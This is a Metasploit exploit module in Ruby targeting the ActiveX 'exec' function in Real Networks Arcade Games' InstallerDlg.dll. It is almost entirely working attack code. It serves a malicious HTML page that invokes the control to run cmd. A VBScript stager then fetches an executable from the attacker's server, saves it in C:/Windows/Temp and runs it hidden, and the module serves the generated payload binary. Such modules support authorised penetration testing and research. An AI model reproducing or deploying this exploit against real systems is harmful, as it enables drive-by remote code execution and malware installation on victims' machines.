##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits a vulnerability in Real Networks Arcade Game's ActiveX control. The "exec"
        function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
        on the victim machine.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
          [
            'rgod',    #Initial discovery, poc
            'sinn3r',  #msf
          ],
      'References'     =>
        [
          [ 'OSVDB', '71559' ],
          [ 'EDB', '17105' ]
        ],
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal',  {} ],
        ],
      'DisclosureDate' => 'Apr 3 2011',
      'DefaultTarget'  => 0))
  end

  # Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
  # either the payload or the vbs script.  To avoid this problem, I ended up writing this custom routine
  # that only uses one echo.
  def build_vbs(url, payload_name, stager_name)
    name_xmlhttp = rand_text_alpha(2)
    name_adodb   = rand_text_alpha(2)

    tmp = "#{@temp_folder}/#{stager_name}"

    vbs  = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
    vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"
    vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
    vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
    vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
    vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "
    vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"

    return vbs
  end

  def exploit
    @payload_name = rand_text_alpha(4)
    @temp_folder  = "C:/Windows/Temp"
    super
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe/
      print_status("Sending payload EXE")
      return if ((p=regenerate_payload(cli)) == nil)
      data = generate_payload_exe( {:code=>p.encoded} )
      send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
      return
    end

    # Payload's URL
    payload_src  = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"

    # Create the stager (download + execute payload)
    stager_name = rand_text_alpha(6) + ".vbs"
    stager      = build_vbs(payload_src, @payload_name, stager_name)

    html_obj_name = rand_text_alpha(6)

    html = <<-EOS
    <html>
    <object classid='clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5' id='#{html_obj_name}' />
    </object>
    <script language='vbscript'>
    #{html_obj_name}.Exec "cmd","/c #{stager}",1,1,""
    setTimeout "x=1", 3000
    #{html_obj_name}.Exec "cmd","/c start #{@temp_folder}/#{stager_name}",1,1,""
    </script>
    </html>
    EOS

    # Remove extra tabs
    html = html.gsub(/^ {4}/, "")

    print_status("Sending #{self.name}")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
